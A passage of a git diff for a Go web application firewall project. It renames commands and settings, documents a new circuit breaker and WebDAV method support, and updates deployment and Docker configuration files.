first 64 KiB of the body into memory. -6. It sends `servewaf` the question (see "The question"). It speaks HTTP/1.1 to - `servewaf`, whatever `servewaf` offers. Go's HTTP/2 client would refuse to - send a visitor's `Upgrade` header, and most `Connection` headers. The - question never carries the visitor's `Trailer`. +6. It sends `waf` the question (see "The question"), unless the circuit breaker + keeps it from asking (see "The circuit breaker"). It speaks HTTP/1.1 to + `waf`, whatever `waf` offers. Go's HTTP/2 client would refuse to send a + visitor's `Upgrade` header, and most `Connection` headers. The question never + carries the visitor's `Trailer`. 7. It does what the answer says (see "The answer"): - `allow`: it passes the request to the app. - `close`: it closes the visitor's connection without an answer. - Any other answer: the visitor gets its status, headers and body, less - `X-Smallwebwaf-Disposition`. That holds for a `deny`, for an error such as - `servewaf`'s `400` or a `5xx`, and for an answer without a valid - `X-Smallwebwaf-Disposition`. + `X-Sww-Disposition`. That holds for a `deny`, for an error such as `waf`'s + `400` or a `5xx`, and for an answer without a valid `X-Sww-Disposition`. 8. Once the answer has ended, it writes its log line. `docs/request-log.md` gives the fields. An app's answer can end just after the line: Go's server sends the closing chunk of a chunked answer, and may send all of an empty one, only once `rproxy` has finished with the request. -9. It then sends the report, if `servewaf` answered `allow`, `deny` or `close` - (see "The report"). The visitor does not wait for it. A report that fails is +9. It then sends the report, if `waf` answered `allow`, `deny` or `close` (see + "The report"). The visitor does not wait for it. A report that fails is dropped, with a process warning. A status above `599` from the app goes to - the visitor as it is, and into the report as `599`, the highest `servewaf` - takes. + the visitor as it is, and into the report as `599`, the highest `waf` takes. ### Requests `rproxy` refuses itself @@ -1347,10 +2699,27 @@ runs it by default (see "Deployment"). - `DELETE` - `PATCH` - `QUERY` +- `PROPFIND` +- `PROPPATCH` +- `MKCOL` +- `COPY` +- `MOVE` +- `REPORT` +- `SEARCH` +- `LOCK` +- `UNLOCK` +- `MKCALENDAR` It answers any other method `405`, with no question and no report. The answer's `Allow` header names these methods. +The last ten are WebDAV methods, for Nextcloud: + +- its Files app and sync client use the nine from `PROPFIND` to `UNLOCK`; +- a CalDAV client makes a calendar with `MKCALENDAR`. + +The Core Rule Set refuses them except where an app's exclusions allow them. + `rproxy` answers `400`, with no question and no report, to a request with: - a target that does not start with `/`, such as `x:admin`, @@ -1370,55 +2739,87 @@ Go's HTTP server answers `OPTIONS *` itself, before `rproxy` sees it. goes away or stops its sending side. There is no question and no report, and the log line has status `0`. -### Without an answer from `servewaf` +### Without an answer from `waf` -`SWRP_DEFAULT_DISPOSITION` decides what is done with the request only when -`servewaf`: +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with the +request when `waf`: - cannot be connected to; - does not answer at all; -- does not answer within `SWRP_TIMEOUT_MS`, which covers connecting, sending the - question and reading the whole answer. +- does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, which covers + connecting, sending the question and reading the whole answer. -An answer whose body breaks off counts as no answer at all. +An answer whose body breaks off counts as no answer at all. The setting also +decides, without asking `waf`, while the circuit breaker is open. `allow`, the default, passes the request to the app. `deny` answers `503`. Either way `rproxy` writes a process warning, its log line has -`default_disposition`, and it sends no report. +`waf_backend_no_answer`, and it sends no report. -A visitor can make `servewaf` slow. A request that keeps `servewaf` busy past -`SWRP_TIMEOUT_MS`, like any request while `servewaf` is overloaded, gets -`SWRP_DEFAULT_DISPOSITION`. With `deny`, such a request gets `503` instead of -reaching the app. +`waf` taking longer than `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` to decide a request +is a bug in `waf`. Such a request gets +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`, like any request while `waf` is +overloaded. With `deny`, it gets `503` instead of reaching the app. -A path under `/_smallwebwaf/` that `allow` would pass on is answered `404` -instead, so that the app never sees that prefix. +A path under `/_sww/` that `allow` would pass on is answered `404` instead, so +that the app never sees that prefix. `rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is -below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy` -writes a process warning, its log line has no `disposition`, and it sends no -report. +below `200`. The visitor gets `502` from `rproxy`, whatever +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process +warning, its log line has no `disposition`, and it sends no report. -A visitor that goes away while `servewaf` is being asked is no failure of -`servewaf`. `rproxy` closes the connection, with no warning, no default and no -report. Its log line has status `0` and no `disposition`. +A visitor that goes away while `waf` is being asked is no failure of `waf`. +`rproxy` closes the connection with no warning and no report, and +`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has +status `0` and no `disposition`. + +### The circuit breaker + +`rproxy` stops asking `waf` for a while when `waf` keeps failing to answer. An +ask fails when `waf` gives no answer in time (see "Without an answer from +`waf`"), or an answer `rproxy` cannot pass on. Any other answer in time +succeeds, whatever it decides. A visitor that goes away while `waf` is being +asked counts as neither. + +The breaker works like this: + +- It opens when 5 asks fail within 5 seconds. Fewer failures never open it. +- While it is open, a request gets + `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` at once, without asking `waf`. + It gets the same process warning and `waf_backend_no_answer` as a request + whose ask failed. +- While it is open, one request a second still asks `waf`. +- Each ask that succeeds clears the failures counted so far, and closes the + breaker if it is open. + +The breaker lives in memory, and a restart of `rproxy` closes it. It has no +settings. ### Passing a request to the app -`rproxy` sends the app at `SWRP_UPSTREAM_URL` the visitor's request: the part of -the body it holds, then the rest, streaming. The app's answer comes back the -same way. Apart from what Go's HTTP code changes, the request reaches the app -unchanged but for these headers: +`rproxy` sends the app at `SWW_RPROXY_UPSTREAM_URL` the visitor's request: the +part of the body it holds, then the rest, streaming. The app's answer comes back +the same way. + +An app may answer before the visitor has sent its whole body. The visitor gets +that answer at once, and the connection closes after it. Once the answer is +complete, the rest of the body no longer goes to the app. + +Apart from what Go's HTTP code changes, the request reaches the app unchanged +but for these headers: - `X-Forwarded-For`, with the address of `rproxy`'s TCP peer added, when that - peer is inside `SWRP_TRUSTED_PROXIES`. The peer's other forwarded headers pass - on. -- For a peer outside `SWRP_TRUSTED_PROXIES`, its forwarded headers are its own - claims and are replaced. `X-Forwarded-For` names the peer, `X-Forwarded-Host` - the host it asked for, and `X-Forwarded-Proto` plain `http`. The other headers - in which traefik tells an app about a visitor are removed. + peer is inside `SWW_RPROXY_TRUSTED_PROXIES`. The peer's other forwarded + headers pass on. +- For a peer outside `SWW_RPROXY_TRUSTED_PROXIES`, its forwarded headers are its + own claims and are replaced. `X-Forwarded-For` names the peer, + `X-Forwarded-Host` the host it asked for, and `X-Forwarded-Proto` plain + `http`. Every other header whose name starts with `X-Forwarded-` is removed, + and so are `Forwarded` and `X-Real-IP`. A name spelt with `_` for `-`, such as + `X_Forwarded_Ssl`, counts as the same name. - `X-Request-ID`, which carries the fresh id. -- `X-Client-ASN` and `X-Client-Country`, which carry what `servewaf` answered. A +- `X-Client-ASN` and `X-Client-Country`, which carry what `waf` answered. A header it did not give is left out. Any of the two the visitor sent is removed. - The headers that concern only the connection to `rproxy` never reach the app: @@ -1430,7 +2831,7 @@ unchanged but for these headers: - `Te`, though one holding `trailers` goes on as `Te: trailers`; - `Upgrade`. -A chunked body's trailers reach the app, but not `servewaf`. +A chunked body's trailers reach the app, but not `waf`. A WebSocket upgrade passes through, with `Connection: Upgrade` and its `Upgrade`. The report of a WebSocket comes when it closes, with what it carried @@ -1440,20 +2841,26 @@ each way. These limits apply per request, in both directions: -- `SWRP_MAX_REQUEST_SIZE` is the largest request body. -- `SWRP_MAX_RESPONSE_SIZE` is the largest response body. -- `SWRP_MAX_REQUEST_TIME_MS` bounds the request line and headers. From their - end, it then bounds the time until the app has been sent the whole request. - The wait for `servewaf` counts toward it. -- `SWRP_MAX_RESPONSE_TIME_MS` runs from the end of the request to the last byte - of the answer reaching the visitor. The request ends when the app has been - sent all of it, or when the app's answer arrives if that is sooner. An answer - `rproxy` gives itself has the whole time from when it starts. +- `SWW_RPROXY_MAX_REQUEST_SIZE` is the largest request body. +- `SWW_RPROXY_MAX_RESPONSE_SIZE` is the largest response body. +- `SWW_RPROXY_MAX_REQUEST_TIME_MS` bounds the request line and headers. From + their end, it then bounds the time until the app has been sent the whole + request. The wait for `waf` counts toward it. +- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` runs from the end of the request to the last + byte of the answer reaching the visitor. The request ends when the app has + been sent all of it, or when the app's answer arrives if that is sooner. An + answer `rproxy` gives itself has the whole time from when it starts, and never + less than 10 seconds. The status and headers of the app's answer also have at + least 10 seconds to be sent. + +`rproxy` may give its own answer, such as a refusal, before the visitor has sent +its whole body. The visitor gets that answer at once, and the connection closes +after it. The largest request line and headers is 32 KiB. A kept-open connection is closed -after 120 seconds idle. Neither has a setting. traefik, by default, closes an -unused connection after 90 seconds. So traefik closes first, and never sends a -request on a connection `rproxy` is closing. +after 120 seconds idle. Neither has a setting. The TLS-terminating proxy should +close an unused connection sooner, so that it never sends a request on a +connection `rproxy` is closing. traefik closes one after 90 seconds by default. What the visitor gets when a limit is passed: @@ -1463,19 +2870,18 @@ What the visitor gets when a limit is passed: the connection, nothing reaches the app, and the request log gets no line. - A visitor too slow to send the first 64 KiB of its body is answered `408`, with no question and no report. -- `rproxy` applies the request size limit only after `servewaf` has allowed the - request. So a request `servewaf` denies gets `servewaf`'s answer, whatever its - size. A request `servewaf` allows is answered `413` when its body is over the - limit: at once for a length it announced, otherwise when the limit is reached. - If part of the body has gone to the app by then, the request to the app is cut - off. +- `rproxy` applies the request size limit only after `waf` has allowed the + request. So a request `waf` denies gets `waf`'s answer, whatever its size. A + request `waf` allows is answered `413` when its body is over the limit: at + once for a length it announced, otherwise when the limit is reached. If part + of the body has gone to the app by then, the request to the app is cut off. - A limit passed after that, but before the response has started, is answered by `rproxy`: - `408` for a visitor too slow to send the rest of its body; - `502` for a response that is too large, or an app that cannot be reached; - `504` for an app that is too slow. - A request body streams through, so each side can hold up the other. - `SWRP_MAX_REQUEST_TIME_MS` can run out while the body is on its way. The + `SWW_RPROXY_MAX_REQUEST_TIME_MS` can run out while the body is on its way. The answer is then `408` if `rproxy` was waiting for the visitor, and `504` if it was waiting for the app. - Once the response has started it can only be cut off, and the connection is @@ -1491,47 +2897,47 @@ those at `info` or more severe are written. On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in progress five seconds to finish. It then waits for the reports on their way, -each for up to `SWRP_TIMEOUT_MS`. A report that comes due after that is dropped, -such as that of a WebSocket that closes later. +each for up to `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. A report that comes due +after that is dropped, such as that of a WebSocket that closes later. ## Deployment -One image runs either command. `SMALLWEBWAF_COMMAND`, in a container's -environment, chooses: `servewaf` runs `servewaf`, and with it unset the image -runs `rproxy`. `docs/image.md` lists what the image holds and how each part is -pinned. +One image runs either command. `SWW_COMMAND`, in a container's environment, +chooses: `waf` runs `waf`, and with it unset the image runs `rproxy`. +`docs/image.md` lists what the image holds and how each part is pinned. ### The usual setup The usual setup is three containers on one private network: - the app; -- `rproxy`, which traefik routes to, with `SWRP_UPSTREAM_URL` naming the app and - `SWRP_WAF_BACKEND` naming `servewaf`; -- `servewaf`, with `SMALLWEBWAF_COMMAND=servewaf` and a volume for its state - files. +- `rproxy`, which the TLS-terminating proxy forwards to, with + `SWW_RPROXY_UPSTREAM_URL` naming the app and `SWW_RPROXY_WAF_BACKEND` naming + `waf`; +- `waf`, with `SWW_COMMAND=waf` and a volume for its state files. Each further app adds its own container and its own `rproxy`, whose -`SWRP_WAF_BACKEND` names the same `servewaf` (see "Sites"). Anything on that -network can reach an app around `rproxy`, and can ask `servewaf` questions or -send it reports. So the network holds only what you trust. +`SWW_RPROXY_WAF_BACKEND` names the same `waf` (see "Sites"). Anything on that +network can reach an app around `rproxy`, and can ask `waf` questions or send it +reports. So the network holds only what you trust. `README.md` lists what the +TLS-terminating proxy must do. ### `rproxy` in the app's container An app's Dockerfile can build `FROM` the `smallwebwaf` image instead, so that `rproxy` runs beside the app in one container. The app is then hardened by -changing its base image, and can add packages from nixpkgs. `servewaf` still -runs in a container of its own, and the app's container sets `SWRP_WAF_BACKEND`. +changing its base image, and can add packages from nixpkgs. `waf` still runs in +a container of its own, and the app's container sets `SWW_RPROXY_WAF_BACKEND`. Beyond its `FROM` line, the app's Dockerfile adds: - its binary; - any packages it needs, from nixpkgs, with `nix-env -iA nixpkgs.`; - its runit service: a directory under `/etc/service` named after the app, never - `smallwebwaf`. Its `run` script starts the app with `chpst`, listening where - `SWRP_UPSTREAM_URL` points (see "Ports"). The app runs as a user of its own, - which the Dockerfile creates with `useradd`. That user is neither root nor - `smallwebwaf`, so that the app cannot touch the process of `rproxy`. + `sww`. Its `run` script starts the app with `chpst`, listening where + `SWW_RPROXY_UPSTREAM_URL` points (see "Ports"). The app runs as a user of its + own, which the Dockerfile creates with `useradd`. That user is neither root + nor `sww`, so that the app cannot touch the process of `rproxy`. It sets no `ENTRYPOINT` or `USER` of its own. The container must start `runsvinit`, as root, so that it can start each service as its own user. @@ -1543,9 +2949,9 @@ It sets no `ENTRYPOINT` or `USER` of its own. The container must start moves to the next LTS release when that ships. Its packages come from Ubuntu's archive, whose packages change with every update. - The Ubuntu image has no CA certificates. Without them Nix cannot download - packages and `servewaf` cannot reach GeoJS, so `ca-certificates` is installed - by name. apt fetches the packages over plain HTTP and checks each one against - the archive's signed package lists, so the install needs no CA certificates. + packages and `waf` cannot reach GeoJS, so `ca-certificates` is installed by + name. apt fetches the packages over plain HTTP and checks each one against the + archive's signed package lists, so the install needs no CA certificates. - nixpkgs comes from a release file on `releases.nixos.org`, named with its hash, not from a GitHub archive, whose bytes can change. Root uses Nix directly; no Nix daemon runs. `nix-bin` creates no build users, so @@ -1563,13 +2969,14 @@ It sets no `ENTRYPOINT` or `USER` of its own. The container must start writes. `runsvinit` starts runit's `runsvdir`, which runs the `run` script of each directory under `/etc/service`. Ubuntu's `sv` looks for services there too. -- The image's `run` script is `/etc/service/smallwebwaf/run`. It starts - `servewaf` when `SMALLWEBWAF_COMMAND` is `servewaf`, and `rproxy` when it is - `rproxy`, unset or empty. It runs either as the `smallwebwaf` user (uid and - gid 65532), with runit's `chpst`. For `servewaf`, it first makes - `SWWAF_STATE_DIR` and every file in it belong to that user. For `rproxy` it - changes no owner. With any other value, it starts nothing, and stops with a - message naming `SMALLWEBWAF_COMMAND` and its value. +- The image's `run` script is `/etc/service/sww/run`. It starts `waf` when + `SWW_COMMAND` is `waf`, and `rproxy` when it is `rproxy`, unset or empty. It + runs either as the `sww` user (uid and gid 65532), with runit's `chpst`. For + `waf`, it first makes `SWW_WAF_STATE_DIR` if it is missing, gives it and every + file in it to that user, and sets its mode to `0700`. It also makes + `SWW_WAF_CACHE_DIR` if it is missing, and gives it and every file in it to + that user. For `rproxy` it changes no owner. With any other value, it starts + nothing, and stops with a message naming `SWW_COMMAND` and its value. Every `run` script, the app's included, is a bash script. It starts with `#!/usr/bin/env bash` and `set -euo pipefail`, and puts its code in a `main` @@ -1585,25 +2992,26 @@ process that stops at start is started again every second, not in a tight loop. container's output, which `docker logs` shows. - When a service exits, runit runs its `run` script again, and the container does not stop. Beside an app, the other process keeps running. -- While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy` - answers `502`, which is not a client offence. While `servewaf` is down, - `SWRP_DEFAULT_DISPOSITION` decides (see "Without an answer from `servewaf`"). -- Only faults found at start stop `servewaf`: +- While `rproxy` is down, the TLS-terminating proxy answers `502`. While the app + is down, `rproxy` answers `502`, which is not a client offence. While `waf` is + down, `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides (see "Without an + answer from `waf`"). +- Only faults found at start stop `waf`: - invalid configuration; - a lookup database that is missing or unreadable; - a rule file or state file that does not parse; - - an unwritable `SWWAF_STATE_DIR`; - - a `SWWAF_RULES_DIR` that does not exist or cannot be read; - - a `SWWAF_LISTEN_ADDR` it cannot listen on. -- Only an invalid setting, or a `SWRP_LISTEN_ADDR` it cannot listen on, stops - `rproxy`. + - an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`; + - a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read; + - a `SWW_WAF_LISTEN_ADDR` it cannot listen on. +- Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on, + stops `rproxy`. - A process that stops at start logs its message at each try until the cause is fixed; its container's health check fails meanwhile. Once running, a failing GeoJS, reputation source or alert destination, or a broken edit, never takes - `servewaf` down. + `waf` down. - `docker stop` sends `SIGTERM` to `runsvinit`, which has runit stop every service at once, each with `SIGTERM`, and exits once they have stopped. - `rproxy` and `servewaf` then stop as "`rproxy`" and "`servewaf`" say. + `rproxy` and `waf` then stop as "`rproxy`" and "`waf`" say. - With `rproxy` beside the app, an app that exits at once on `SIGTERM` ends the requests in progress: the visitor gets `502`, or a response cut short. To let them finish, the app must keep answering for five seconds after `SIGTERM`. @@ -1612,36 +3020,37 @@ process that stops at start is started again every second, not in a tight loop. ### The health check -The image's `HEALTHCHECK` runs `smallwebwaf healthcheck`. `SMALLWEBWAF_COMMAND` -says what it checks: +The image's `HEALTHCHECK` runs `sww healthcheck`. `SWW_COMMAND` says what it +checks: -- With `SMALLWEBWAF_COMMAND=servewaf`, it passes while `servewaf` answers - `GET /_smallwebwaf/healthz` on `127.0.0.1`, at the port in - `SWWAF_LISTEN_ADDR`. -- With `SMALLWEBWAF_COMMAND` unset, empty or `rproxy`, it passes while `rproxy` - answers that request on `127.0.0.1`, at the port in `SWRP_LISTEN_ADDR`, and - the app accepts connections at `SWRP_UPSTREAM_URL`. It does not ask - `servewaf`, so that the site stays in traefik's routes while `servewaf` is +- With `SWW_COMMAND=waf`, it passes while `waf` answers `GET /_sww/healthz` on + `127.0.0.1`, at the port in `SWW_WAF_LISTEN_ADDR`. +- With `SWW_COMMAND` unset, empty or `rproxy`, it passes while `rproxy` answers + that request on `127.0.0.1`, at the port in `SWW_RPROXY_LISTEN_ADDR`, and the + app accepts connections at `SWW_RPROXY_UPSTREAM_URL`. It does not ask `waf`, + so that the site stays in the TLS-terminating proxy's routes while `waf` is down. -- With any other value, it fails with a message naming `SMALLWEBWAF_COMMAND` and - its value. +- With any other value, it fails with a message naming `SWW_COMMAND` and its + value. -traefik sends a container no requests until it shows as healthy. So the check -runs every second from the container's start until it first passes, for up to a -minute, and every 30 seconds after that. An app with a health check of its own -can replace the image's `HEALTHCHECK` with one that checks both. +A TLS-terminating proxy that reads Docker's health status, as traefik does, +sends a container no requests until it shows as healthy. So the check runs every +second from the container's start until it first passes, for up to a minute, and +every 30 seconds after that. An app with a health check of its own can replace +the image's `HEALTHCHECK` with one that checks both. ### Ports -`rproxy` listens on no port but the one in `SWRP_LISTEN_ADDR`, 8080 by default, -which traefik routes to. It passes requests to the app at `SWRP_UPSTREAM_URL`, -`http://127.0.0.1:8081` by default. Another port may be set: the health check -follows the setting, and traefik's port label -(`traefik.http.services..loadbalancer.server.port`) must name it. An app -beside `rproxy` must leave that port free. +`rproxy` listens on no port but the one in `SWW_RPROXY_LISTEN_ADDR`, 8080 by +default, which the TLS-terminating proxy forwards to. It passes requests to the +app at `SWW_RPROXY_UPSTREAM_URL`, `http://127.0.0.1:8081` by default. Another +port may be set: the health check follows the setting, and the TLS-terminating +proxy must name it, as traefik's port label +(`traefik.http.services..loadbalancer.server.port`) does. An app beside +`rproxy` must leave that port free. -`servewaf` listens on no port but the one in `SWWAF_LISTEN_ADDR`, 8080 by -default. The questions, the reports and its own endpoints all come there. +`waf` listens on no port but the one in `SWW_WAF_LISTEN_ADDR`, 8080 by default. +The questions, the reports and its own endpoints all come there. The address part of either setting stays empty (`:9000`, never `127.0.0.1:9000`). That way the others reach the process on the container's @@ -1653,31 +3062,35 @@ the container. ### State -`servewaf` keeps its state files in `SWWAF_STATE_DIR`, belonging to the -`smallwebwaf` user. Without a volume there, the files survive a restart of the -container and are lost when a deploy replaces it. A volume mounted at -`/var/lib/smallwebwaf`, named or a host directory, keeps them across deploys. A -host directory mounted there needs no change of owner, and files an earlier -owner left in it can be read and replaced. The volume holds a few tens of MiB at -most with the defaults, and needs no backup beyond the host's own. The image -declares no volume, since every app image built on it would inherit it. `rproxy` -keeps nothing, and needs no volume. +`waf` keeps its state files in `SWW_WAF_STATE_DIR`, belonging to the `sww` user. +Without a volume there, the files survive a restart of the container and are +lost when a deploy replaces it. A volume mounted at `/var/lib/sww`, named or a +host directory, keeps them across deploys. A host directory mounted there needs +no change of owner, and files an earlier owner left in it can be read and +replaced. The volume holds a few tens of MiB at most with the defaults, and +needs no backup beyond the host's own. The image declares no volume, since every +app image built on it would inherit it. `rproxy` writes nothing to disk, and +needs no volume. + +`waf` keeps its cache files in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default, +which the `run` script makes. The cache directory needs no volume and can be +left out of backups: a new container starts with empty caches, which fill again. ### Tokens -A token given as a file (`SWWAF_ADMIN_TOKEN_FILE`, `SWWAF_METRICS_TOKEN_FILE`) -stays out of the container's environment. The operator makes the file on the -host, owned by uid 65532, the `smallwebwaf` user, with mode `0400`, and mounts -the directory that holds it into `servewaf`'s container read-only. The container -sees the same owner and mode. "Settings given as files" in `docs/settings.md` -shows the commands. +A token given as a file (`SWW_WAF_ADMIN_TOKEN_FILE`, +`SWW_WAF_METRICS_TOKEN_FILE`) stays out of the container's environment. The +operator makes the file on the host, owned by uid 65532, the `sww` user, with +mode `0400`, and mounts the directory that holds it into `waf`'s container +read-only. The container sees the same owner and mode. "Settings given as files" +in `docs/settings.md` shows the commands. ### Forwarded headers The app's TCP peer is `rproxy`, and the `X-Forwarded-For` the app receives ends -with traefik's address, which `rproxy` adds after the visitor's. So the app must -trust `rproxy`'s address for forwarded headers, besides the private address -ranges traefik is on. +with the TLS-terminating proxy's address, which `rproxy` adds after the +visitor's. So the app must trust `rproxy`'s address for forwarded headers, +besides the private address ranges the TLS-terminating proxy is on. - In a container of its own, `rproxy`'s address is on the private network. The usual default for a trusted-proxy setting, the private ranges, covers it. @@ -1693,10 +3106,9 @@ upaas rebuilds and restarts an app's Docker container when its repository changes. An app it deploys takes the shape of "`rproxy` in the app's container" with no change to upaas. upaas builds the app's Dockerfile and runs the one container as it runs any app. The traefik labels route to port 8080, and the -`SWRP_` settings go with the app's environment variables. `servewaf` runs in a +`SWW_RPROXY_` settings go with the app's environment variables. `waf` runs in a container of its own, on a network the app's container can reach, with its state -volume and the directory of any token file. `docs/gitea.md` records what the -defaults do in front of gitea, and `script/gitea-requests` checks those notes. +volume and the directory of any token file. ## Planned, not built diff --git a/cmd/smallwebwaf/main.go b/cmd/smallwebwaf/main.go deleted file mode 100644 index c7d998c..0000000 --- a/cmd/smallwebwaf/main.go +++ /dev/null @@ -1,20 +0,0 @@ -// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is -// the reverse proxy in front of one app, which asks servewaf about each request. -// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts. -// `smallwebwaf healthcheck` is the container's health check. Everything it does -// is in internal/smallwebwaf. -package main - -import ( - "os" - - "sneak.berlin/go/smallwebwaf/internal/smallwebwaf" -) - -// Version is the version of the binary, set when it is built with -// -ldflags "-X main.Version=...". -var Version = "dev" //nolint:gochecknoglobals // the linker sets it - -func main() { - os.Exit(smallwebwaf.Main(Version)) -} diff --git a/cmd/sww/main.go b/cmd/sww/main.go new file mode 100644 index 0000000..97e0dc7 --- /dev/null +++ b/cmd/sww/main.go @@ -0,0 +1,20 @@ +// Command sww is a web application firewall. `sww rproxy` is the reverse +// proxy in front of one app, which asks waf about each request. +// `sww waf` decides, for many sites, and keeps what lasts. `sww +// healthcheck` is the container's health check. Everything it does is in +// internal/sww. +package main + +import ( + "os" + + "sneak.berlin/go/smallwebwaf/internal/sww" +) + +// Version is the version of the binary, set when it is built with +// -ldflags "-X main.Version=...". +var Version = "dev" //nolint:gochecknoglobals // the linker sets it + +func main() { + os.Exit(sww.Main(Version)) +} diff --git a/deploy/example-app/Dockerfile b/deploy/example-app/Dockerfile index a228c17..842e898 100644 --- a/deploy/example-app/Dockerfile +++ b/deploy/example-app/Dockerfile @@ -6,8 +6,12 @@ # A real app names the smallwebwaf image by digest. This one takes the # image script/example-app has just built, or else the one `make docker` # builds. -ARG SMALLWEBWAF_IMAGE=smallwebwaf -FROM ${SMALLWEBWAF_IMAGE} +ARG SWW_IMAGE=smallwebwaf +FROM ${SWW_IMAGE} + +# Its own title and description, in place of the smallwebwaf image's. +LABEL org.opencontainers.image.title="smallwebwaf-example-app" \ + org.opencontainers.image.description="An example app built on the smallwebwaf image." # Packages the app needs, from the nixpkgs in the image. RUN nix-env -iA nixpkgs.busybox diff --git a/deploy/gitea/compose.yaml b/deploy/gitea/compose.yaml deleted file mode 100644 index d5652a7..0000000 --- a/deploy/gitea/compose.yaml +++ /dev/null @@ -1,135 +0,0 @@ -# Gitea behind traefik, with rproxy and servewaf in front of it. -# docs/gitea.md says what each setting here does and why. Before starting it: -# - set SMALLWEBWAF_IMAGE to the smallwebwaf image, named by digest; -# - replace git.example.org with the site's host name; -# - replace each 10.99.0 with the first three numbers of a /24 subnet that -# no other network on the host uses. The /24 must lie inside 10.0.0.0/8, -# 172.16.0.0/12 or 192.168.0.0/16, because rproxy believes -# X-Forwarded-For only from those by default. Replace each fd10:99 with -# the first two hextets of an unused /64 subnet whose third and fourth -# hextets are 0, as in fd10:99::/64; -# - set GITEA_SECRET_KEY to the output of -# `docker run --rm gitea generate secret SECRET_KEY`, -# once per install, and keep it. -# Then run `docker compose up --detach` in this directory. -# script/gitea-setup checks this setup. - -name: gitea - -x-logging: &logging - driver: json-file - options: - max-size: 10m - max-file: "5" - -services: - traefik: - # traefik v3.7.17, 2026-11-03 - image: traefik@sha256:68ae5fe5b64ca166704b746a9e8afcd385e36b3f569a5691401bf652d57b3748 - # traefik replaces the X-Forwarded-For header a visitor sends. Keep it - # so: otherwise a visitor could name an address on the shared network, - # and skip servewaf's checks. - command: - - --providers.docker.exposedbydefault=false - - --entrypoints.web.address=:80 - - --entrypoints.web.http.redirections.entrypoint.to=websecure - - --entrypoints.websecure.address=:443 - # Until a certificate resolver is added here, as for your other - # sites, traefik answers with a certificate it made itself. - - --entrypoints.websecure.http.tls=true - # traefik's own limit of 60 seconds for a whole request would cut - # off an upload long before rproxy's limit of 30 minutes. - - --entrypoints.websecure.transport.respondingTimeouts.readTimeout=30m - ports: - - 80:80 - - 443:443 - volumes: - - /var/run/docker.sock:/var/run/docker.sock:ro - networks: - shared: - # Containers on the shared network find traefik under the - # site's name, and so reach it from their own address. - aliases: - - git.example.org - restart: unless-stopped - - gitea: - # gitea 1.27.3, 2026-08-29 - image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef - environment: - GITEA__server__ROOT_URL: https://git.example.org/ - # Gitea starts at its defaults, with SQLite, instead of showing its - # install page to whoever opens it first. - GITEA__security__INSTALL_LOCK: "true" - GITEA__security__SECRET_KEY: ${GITEA_SECRET_KEY:?set GITEA_SECRET_KEY, see docs/gitea.md} - # Accounts are made with `gitea admin user create`. - GITEA__service__DISABLE_REGISTRATION: "true" - # rproxy's addresses. Gitea then takes each visitor's address from - # the X-Real-Ip header traefik sets and rproxy passes on. - GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.99.0.2,fd10:99::2 - volumes: - - gitea-data:/data - networks: - - shared - restart: unless-stopped - - rproxy: - image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image} - environment: - SWRP_WAF_BACKEND: http://servewaf:8080 - SWRP_UPSTREAM_URL: http://gitea:3000 - # Pushes, LFS objects, packages and release attachments of up to - # 2 GiB, sent in up to 30 minutes. - SWRP_MAX_REQUEST_SIZE: 2G - SWRP_MAX_REQUEST_TIME_MS: "1800000" - # 15 minutes for a clone or a download, half the default. - SWRP_MAX_RESPONSE_TIME_MS: "900000" - labels: - traefik.enable: "true" - traefik.http.routers.gitea.rule: Host(`git.example.org`) - traefik.http.routers.gitea.entrypoints: websecure - traefik.http.services.gitea.loadbalancer.server.port: "8080" - networks: - shared: - ipv4_address: 10.99.0.2 - ipv6_address: fd10:99::2 - logging: *logging - restart: unless-stopped - - servewaf: - image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image} - environment: - SMALLWEBWAF_COMMAND: servewaf - # The containers on the shared network skip the checks. Add the - # address of an automation fleet on another host here too; without - # that, it is counted like any client. - SWWAF_ALLOW_NETS: 10.99.0.128/25,fd10:99:0:0:8000::/65 - # In block mode the Core Rule Set refuses everyday Gitea searches - # and file names, and 31 refusals in a minute ban the address. - SWWAF_WAF_MODE: detect - volumes: - - servewaf-state:/var/lib/smallwebwaf - networks: - - shared - logging: *logging - restart: unless-stopped - -networks: - # The network traefik and Gitea share. Its containers get addresses in the - # upper half of each subnet, which servewaf lets skip the checks. Each - # subnet's gateway, the host's own address on it, stays out of that half: - # requests docker passes on from a published port can come from it. - shared: - enable_ipv6: true - ipam: - config: - - subnet: 10.99.0.0/24 - ip_range: 10.99.0.128/25 - gateway: 10.99.0.1 - - subnet: fd10:99::/64 - ip_range: fd10:99:0:0:8000::/65 - gateway: fd10:99::1 - -volumes: - gitea-data: - servewaf-state: diff --git a/docs/admin-endpoints.md b/docs/admin-endpoints.md index ddb82ea..e89d6f6 100644 --- a/docs/admin-endpoints.md +++ b/docs/admin-endpoints.md @@ -1,60 +1,60 @@ # Admin endpoints -The endpoints under `/_smallwebwaf/`, what each takes and what each answers. -`smallwebwaf servewaf` answers them at its own address, on the private network. -"Admin endpoints" in 